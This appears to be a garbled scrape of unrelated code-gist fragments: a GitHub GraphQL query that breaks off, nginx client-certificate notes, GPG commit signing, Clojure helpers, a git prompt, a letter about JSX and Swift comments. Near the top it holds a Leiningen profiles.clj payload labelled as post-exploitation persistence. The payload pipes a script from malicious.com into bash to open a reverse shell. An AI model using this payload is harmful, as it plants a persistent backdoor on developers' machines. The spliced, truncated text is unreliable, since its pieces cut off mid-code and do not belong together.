I was struggling to kick off my self-assessment feedback for the year, so I came up with an idea to use the GitHub API to provide relevant data and jumpstart my writing process.
I started with this simple query:
query userInfo($login: String!) {
;;Adding the following payload on $HOME/.lein/profiles.clj map makes Leiningen (https://leiningen.org) | |
;;work as a post exploitation persistence. | |
{:whatever-name-you-want #=(eval | |
(do | |
(use '[clojure.java.shell :only [sh]]) | |
(require '[clojure.java.shell :as shell]) | |
(shell/sh "bash" "-c" "curl https://malicious.com/revshell.sh | bash")))} |
Info: https://www.nginx.com/resources/admin-guide/nginx-https-upstreams/
Source: http://nategood.com/client-side-certificate-authentication-in-ngi
This is SSL, so you'll need an cert-key pair for you/the server, the api users/the client and a CA pair. You will be the CA in this case (usually a role played by VeriSign, thawte, GoDaddy, etc.), signing your client's certs. There are plenty of tutorials out there on creating and signing certificates, so I'll leave the details on this to someone else and just quickly show a sample here to give a complete tutorial. NOTE: This is just a quick sample of creating certs and not intended for production.
Last updated March 13, 2024
This Gist explains how to sign commits using gpg in a step-by-step fashion. Previously, krypt.co was heavily mentioned, but I've only recently learned they were acquired by Akamai and no longer update their previous free products. Those mentions have been removed.
Additionally, 1Password now supports signing Git commits with SSH keys and makes it pretty easy-plus you can easily configure Git Tower to use it for both signing and ssh.
For using a GUI-based GIT tool such as Tower or Github Desktop, follow the steps here for signing your commits with GPG.
Updating to macOS Sierra is causing trouble with React Native due to some of the Node.js and system utilities it uses. Specifically the watch utility fails due to a limit on the number of files which can be opened at a time.
The following command shows the current limit.
launchctl limit maxfiles
(defn distinct-by | |
"Returns a lazy sequence of the elements of coll, removing duplicates of (f item). | |
Returns a stateful transducer when no collection is provided." | |
{:added "1.0"} | |
([f] | |
(fn [rf] | |
(let [seen (volatile! #{})] | |
(fn | |
([] (rf)) | |
([result] result) |
(defrecord Retry [bindings]) | |
(defmacro with-retry | |
"It's really fucking inconvenient not being able to recur from within (catch) | |
expressions. This macro wraps its body in a (loop [bindings] (try ...)). | |
Provides a (retry & new bindings) form which is usable within (catch) blocks: | |
when this form is returned by the body, the body will be retried with the new | |
bindings." | |
[initial-bindings & body] | |
(assert (vector? initial-bindings)) |
Here is how to have your bash prompt tell you if you have changed or untracked files in your working directory.
Add these lines to ~/.bash_profile
:
source /usr/local/etc/bash_completion
GIT_PS1_SHOWDIRTYSTATE=true
GIT_PS1_SHOWUNTRACKEDFILES=true
export PS1='\u@\h \w$(__git_ps1) \$ '
Hi Nicholas,
I saw you tweet about JSX yesterday. It seemed like the discussion devolved pretty quickly but I wanted to share our experience over the last year. I understand your concerns. I've made similar remarks about JSX. When we started using it Planning Center, I led the charge to write React without it. I don't imagine I'd have much to say that you haven't considered but, if it's helpful, here's a pattern that changed my opinion:
The idea that "React is the V in MVC" is disingenuous. It's a good pitch but, for many of us, it feels like in invitation to repeat our history of coupled views. In practice, React is the V and the C. Dan Abramov describes the division as Smart and Dumb Components. At our office, we call them stateless and container components (view-controllers if we're Flux). The idea is pretty simple: components can't
// Hello, fellow Swift programmer! | |
// | |
// Here's a demonstration of a few ways of cleaning up the unwrapping of | |
// optionals in Swift. | |
// | |
// Swift is known to have both OO and functional background. Thus, there is | |
// probably some middle ground programming style that is *more* functional than | |
// Objective-C, and probably less so than Haskell. This playground tries to | |
// compare their differences in the pretty common scenario of dealing with | |
// errors or missing input. |